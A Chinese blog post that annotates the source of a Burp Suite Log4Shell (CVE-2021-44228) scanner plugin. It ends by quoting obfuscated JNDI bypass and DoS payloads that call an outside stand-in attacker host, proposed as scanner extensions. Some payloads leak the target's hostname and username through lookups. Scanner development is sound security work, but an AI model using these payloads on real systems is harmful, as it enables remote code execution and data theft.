• 【BurpSuite】插件学习之Log4shell


    BurpSuite】插件开发学习之Log4shell

    前言

    最近有些工作要接触到安卓开发,正好老本行Burpsuite中也有java开发的地方想学习,也正好可以看看插件的原理,因此有了下面的文章。

    Log4Shell

    https://github.com/PortSwigger/log4shell-scanner
    逻辑代码在:

    | ____src
    | |____main
    | | |____kotlin
    | | | |____burp
    | | | | |____BurpExtender.kt
    
    • 1
    • 2
    • 3
    • 4
    • 5

    Kotlin写的,比较简单,下面来看看,从上往下的逻辑如下:

    生成payload

    生成攻击payload,看循环上应该就三种

    • ${jndi:ldap://q.dnslog.ip:99999/s2test
    • ${jndi:ldap://h${hostName}.dnslog.ip:99999/s2test
    • ${jndi:ldap://u${hostName}-s2u-${env:USERNAME:-${env:USER}}.dnslog.ip:99999/s2test
    for ((prefix, key) in listOf(
        Pair(QUERY_NOTHING, null),
        Pair(QUERY_HOSTNAME, "hostName"),
        Pair(QUERY_HOSTUSER, "hostName}-s2u-\${env:USERNAME:-\${env:USER}")
    )) {
        val payload = collaborator.generatePayload(false)
        val keyLookup = if (key == null) "" else "\${$key}"
        val bytes ="\${jndi:ldap://${prefix}${keyLookup}.$payload.${collaborator.collaboratorServerLocation}:99999/s2test}".toByteArray()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    发送请求并保存payload和http对象

    val request = insertionPoint!!.buildRequest(bytes)
    val poff = insertionPoint.getPayloadOffsets(bytes)
    val hs = baseRequestResponse!!.httpService
    crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout
    val hrr = callbacks.makeHttpRequest(hs, request)//这里发起请求
    val contextPair = Pair(hrr, poff)//保存请求的结果rsp和偏移值
    context.add(contextPair)
    collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload))//这里拿到dnslog的结果并保存
    crontab[payload] = contextPair
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    延迟响应

    延迟处理的结果是sync = false
    立即处理的结果是sync = true

    //延迟
    synchronized(thread) {
        if (!thread.isAlive) thread.start()
    }
    
    private val thread: Thread = object : Thread() {
        override fun run() {
            try {
                while (true) {
                    sleep(60 * 1000) // 60 seconds -- poll every minute
                    val interactions =
                        collaborator.fetchAllCollaboratorInteractions().groupBy { it.getProperty("interaction_id") }
                    for (entry in interactions.entries) {
                        val payload = entry.key
                        val (hrr, poff) = crontab[payload] ?: continue
                        handleInteractions(
                            listOf(Pair(hrr, poff)),
                            entry.value,
                            sync = false
                        ).forEach(callbacks::addScanIssue)
                    }
                }
            } catch (ex: InterruptedException) {
                return
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    结果处理

    根据dnslog解析判断是哪个payload攻击成功

    private fun extractHostUser(query: ByteArray): Pair<String, String?>? {
        if (query[4] != 0.toByte() || query[5] != 1.toByte()) return null
        val len = query[12].toInt()
        if (len and 0xc0 != 0) return null
        val decoded = query.decodeToString(startIndex = 13, endIndex = 13 + len)
        when {
            decoded.startsWith(QUERY_HOSTNAME) -> {//第二个payload开头
                return Pair(decoded.substring(1), null)
            }
    
            decoded.startsWith(QUERY_HOSTUSER) -> {//第二个3开头
                val parts = decoded.substring(1).split("-s2u-")//split前面是hostname split后面是user
                if (parts.size != 2) return null
                return Pair(parts[0], parts[1])
            }
    
            else -> return null
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    全部代码笔记

    /*
     * This file is part of Log4Shell scanner for Burp Suite (https://github.com/silentsignal/burp-piper)
     * Copyright (c) 2021 Andras Veres-Szentkiralyi
     *
     * This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, version 3 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program. If not, see <http://www.gnu.org/licenses/>.
     */
    
    package burp
    
    import java.io.PrintWriter
    
    import java.net.URL
    import java.util.*
    import java.util.concurrent.ConcurrentHashMap
    
    const val NAME = "Log4Shell scanner"
    const val QUERY_NOTHING = 'q'
    const val QUERY_HOSTNAME = 'h'
    const val QUERY_HOSTUSER = 'u'
    
    class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener {//继承三个接口
    
        private lateinit var callbacks: IBurpExtenderCallbacks
        private lateinit var helpers: IExtensionHelpers
        //collaborator是专门用来打dnslog的。
        private lateinit var collaborator: IBurpCollaboratorClientContext
    
        private val crontab: ConcurrentHashMap<String, Pair<IHttpRequestResponse, IntArray>> = ConcurrentHashMap()
        //这里是打延迟的,有的60s之后dnslog才接收到
        private val thread: Thread = object : Thread() {
            override fun run() {
                try {
                    while (true) {
                        sleep(60 * 1000) // 60 seconds -- poll every minute
                        val interactions =
                            collaborator.fetchAllCollaboratorInteractions().groupBy { it.getProperty("interaction_id") }
                        for (entry in interactions.entries) {
                            val payload = entry.key
                            val (hrr, poff) = crontab[payload] ?: continue
                            handleInteractions(
                                listOf(Pair(hrr, poff)),
                                entry.value,
                                sync = false
                            ).forEach(callbacks::addScanIssue)
                        }
                    }
                } catch (ex: InterruptedException) {
                    return
                }
            }
        }
    
        // 重写了registerExtenderCallbacks,一般写插件的入口就是这里,基本可以套这个板子,改个NAME就行
        override fun registerExtenderCallbacks(callbacks: IBurpExtenderCallbacks) {
            this.callbacks = callbacks
            helpers = callbacks.helpers
            collaborator = callbacks.createBurpCollaboratorClientContext()
    
            //赋值插件名
            callbacks.setExtensionName(NAME)
            //检查
            callbacks.registerScannerCheck(this)
            //注册监听器
            callbacks.registerExtensionStateListener(this)
    
            //检查通过输出信息
            PrintWriter(callbacks.stdout, true).use { stdout ->
                stdout.println("$NAME loaded")
            }
        }
    
        // 重写了doPassiveScan
        // 这个方法是IscannerCheck(上面继承的接口)下的方法,这里的意思应该是被动扫描就返回空,
        // 就是不进行被动扫描
        override fun doPassiveScan(baseRequestResponse: IHttpRequestResponse?): MutableList<IScanIssue> =
            Collections.emptyList() // not relevant
        // 重写了doActiveScan
        // 可以看出主要工作在主动扫描
    
        override fun doActiveScan(
            baseRequestResponse: IHttpRequestResponse?,
            insertionPoint: IScannerInsertionPoint?
        ): MutableList<IScanIssue> {
            val context = mutableListOf<Pair<IHttpRequestResponse, IntArray>>()
            val collabResults = mutableListOf<IBurpCollaboratorInteraction>()
    
            for ((prefix, key) in listOf(
                Pair(QUERY_NOTHING, null),
                Pair(QUERY_HOSTNAME, "hostName"),
                Pair(QUERY_HOSTUSER, "hostName}-s2u-\${env:USERNAME:-\${env:USER}")
            )) {
                // 生成DNSlog的payload,
                val payload = collaborator.generatePayload(false)
                //上面pair的prefix, key
                val keyLookup = if (key == null) "" else "\${$key}"
                //生成了payload,看循环上应该就三种
                // collaborator.collaboratorServerLocation::The hostname or IP address of the Collaborator server
                // 1. ${jndi:ldap://q.dnslog.ip:99999/s2test
                // 2. ${jndi:ldap://h${hostName}.dnslog.ip:99999/s2test
                // 3. ${jndi:ldap://u${hostName}-s2u-${env:USERNAME:-${env:USER}}.dnslog.ip:99999/s2test
                val bytes =
                    "\${jndi:ldap://${prefix}${keyLookup}.$payload.${collaborator.collaboratorServerLocation}:99999/s2test}".toByteArray()
                //将生成好的byte插入插入点,然后得到请求包
                val request = insertionPoint!!.buildRequest(bytes)
                //加了payload的之后的新的和老的req的偏移值
                val poff = insertionPoint.getPayloadOffsets(bytes)
                //返回一个IHttpService对象
                val hs = baseRequestResponse!!.httpService
                crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout
                val hrr = callbacks.makeHttpRequest(hs, request)//这里发起请求
                val contextPair = Pair(hrr, poff)//保存请求的结果rsp和偏移值
                context.add(contextPair)
                collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload))//这里拿到dnslog的结果并保存
                crontab[payload] = contextPair
            }
            //立即
            val interactions = handleInteractions(context, collabResults, sync = true)
            //延迟
            synchronized(thread) {
                if (!thread.isAlive) thread.start()
            }
            return interactions
        }
    
        //在这里生成一个新的IHttpRequestResponse,替换了req和IHttpRequestResponse
        class EarlyHttpRequestResponse(private val hs: IHttpService, private val sentRequest: ByteArray) :
    
            IHttpRequestResponse {
            override fun getComment(): String = ""
            override fun getHighlight(): String = ""
            override fun getHttpService(): IHttpService = hs
            override fun getRequest(): ByteArray? = sentRequest
            override fun getResponse(): ByteArray? = null
            override fun setComment(comment: String?) {}
            override fun setHighlight(color: String?) {}
            override fun setHttpService(httpService: IHttpService?) {}
            override fun setRequest(message: ByteArray?) {}
            override fun setResponse(message: ByteArray?) {}
        }
    
        private fun handleInteractions(
            context: List<Pair<IHttpRequestResponse, IntArray>>,//payload和请求的映射
            interactions: List<IBurpCollaboratorInteraction>,//dnslog的结果
            sync: Boolean
        ): MutableList<IScanIssue> {
            if (interactions.isEmpty()) return Collections.emptyList()
            val hrr = context[0].first//第一个Pair(hrr, poff)
            val iri = helpers.analyzeRequest(hrr)//处理http req rsp结果
            val markers = context.map { (hrr, poff) ->
                callbacks.applyMarkers(
                    hrr,
                    Collections.singletonList(poff),
                    Collections.emptyList()
                ) as IHttpRequestResponse
            }.toTypedArray()
            return Collections.singletonList(object : IScanIssue {
                override fun getUrl(): URL = iri.url
                override fun getIssueName(): String =
                    "Log4Shell (CVE-2021-44228) - " + (if (sync) "synchronous" else "asynchronous")
    
                override fun getIssueType(): Int = 0x08000000
                override fun getSeverity(): String = "High"
                override fun getConfidence(): String = "Tentative"
                override fun getIssueBackground(): String =
                    "See \"https://www.lunasec.io/docs/blog/log4j-zero-day/\">CVE-2021-44228"
    
                override fun getRemediationBackground(): String? = null
                override fun getRemediationDetail(): String =
                    "Version 2.15.0 of log4j has been released without the vulnerability." +
                            "

    log4j2.formatMsgNoLookups=true can also be set as a mitigation on affected versions."
    override fun getHttpMessages(): Array<IHttpRequestResponse> = markers override fun getHttpService(): IHttpService = hrr.httpService override fun getIssueDetail(): String { val sb = StringBuilder("

    The application interacted with the Collaborator server ") if (sync) { sb.append("in response to") } else { sb.append("some time after") } sb.append(" a request with a Log4Shell payload

      ") interactions.map(this::formatInteraction).toSortedSet().forEach { sb.append(it) }//dnslog标准化输出 sb.append("

    This means that the web service (or another node in the network) is affected by this vulnerability. ") sb.append("However, actual exploitability might depend on an attacker-controllable LDAP server being reachable over the network.

    "
    ) if (!sync) { sb.append( "

    Since this interaction occurred some time after the original request (compare " + "the Date header of the HTTP response vs. the interactions timestamps above), " + "the vulnerable code might be in another process/codebase or a completely different " + "host (e.g. centralized logging, SIEM). There might even be multiple instances of " + "this vulnerability on different pieces of infrastructure given the nature of the bug.

    "
    ) } return sb.toString() } private fun formatInteraction(interaction: IBurpCollaboratorInteraction): String { val sb = StringBuilder() val type = interaction.getProperty("type") if (type == "DNS") { val hostUser = extractHostUser(helpers.base64Decode(interaction.getProperty("raw_query"))) if (hostUser == null) { sb.append("
  • DNS") } else { val (host, user) = hostUser sb.append("
  • By the host named $host") if (user != null) sb.append(" running as user $user") } } else { sb.append("
  • ") sb.append(type) } sb.append(" at ") sb.append(interaction.getProperty("time_stamp")) sb.append(" from ") sb.append(interaction.getProperty("client_ip")) sb.append("
  • "
    ) return sb.toString() } }) } override fun consolidateDuplicateIssues(existingIssue: IScanIssue?, newIssue: IScanIssue?): Int = 0 // TODO could be better override fun extensionUnloaded() { synchronized(thread) { if (thread.isAlive) { thread.interrupt() } } } } //dnslog里面找有没有我们的payload private fun extractHostUser(query: ByteArray): Pair<String, String?>? { if (query[4] != 0.toByte() || query[5] != 1.toByte()) return null val len = query[12].toInt() if (len and 0xc0 != 0) return null val decoded = query.decodeToString(startIndex = 13, endIndex = 13 + len) when { decoded.startsWith(QUERY_HOSTNAME) -> {//第二个payload开头 return Pair(decoded.substring(1), null) } decoded.startsWith(QUERY_HOSTUSER) -> {//第二个3开头 val parts = decoded.substring(1).split("-s2u-")//split前面是hostname split后面是user if (parts.size != 2) return null return Pair(parts[0], parts[1]) } else -> return null } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267

    改进

    实际上我们可以看出关键点就是payload生成,他这个官方的生成只有3个payload,攻击面比较窄,漏放的可能性比较大,因此我们可以拓展他的payload做一些改进就行。老样子,payload从github找:
    [https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/src/main/java/log4j.java]
    https://github.com/woodpecker-appstore/log4j-payload-generator

    // Defaul one
            logger.error("${jndi:ldap://somesitehackerofhell.com/z}");
    
            // 1. System environment variables
            // logger.error("${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}");
    
            // 2. Lower Lookup
            // logger.error("${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}");
    
            // 2. Upper Lookup
            // upper doesn't work for me - Tested on Windows 10
            // logger.error("${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}");
    
            // 3. "::-" notation
            // logger.error("${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}");
    
            // 4. Invalid Unicode characters with upper
            // logger.error("${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}");
    
            // 5. System properties
            // logger.error("${jnd${sys:SYS_NAME:-i}:ldap://somesitehackerofhell.com/z}");
    
            // 6. ":-" notation
            // logger.error("${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}");
    
            // 7. Date
            // logger.error("${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}");
    
            // 9. Non-existent lookup
            // logger.error("${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}");
    
            // 12. Trick with # (works on log4j 2.15)
            // logger.error("${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}");
    
            // 13. Dos attack (Works on LOG4j 2.8 - 2.16 )
            // logger.error("${${::-${::-$${::-j}}}}");
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
  • 相关阅读:
    C# 赖加载+多线程安全实现日志文件
    类和对象(上)
    MinIo使用小结
    计算机组成原理
    基于CLIP的色情图片识别;油管最新ML课程大合集;交互式编写shell管道;机器人仓库环境增量感知数据集;最新AI论文 | ShowMeAI资讯日报
    国标视频平台搭建(七)配置https访问
    前端 CSS 经典:水波进度样式
    优化 cesium 界面广告牌(billboard)数据量大于 10w +时,地图加载缓慢、卡顿、加载完成后浏览器严重卡顿甚至崩溃问题
    好心情精神心理科医生:如何与青春期的孩子沟通?
    不用定时器,实现鼠标长悬浮和鼠标长按监听
  • 原文地址:https://blog.csdn.net/xiru9972/article/details/126440943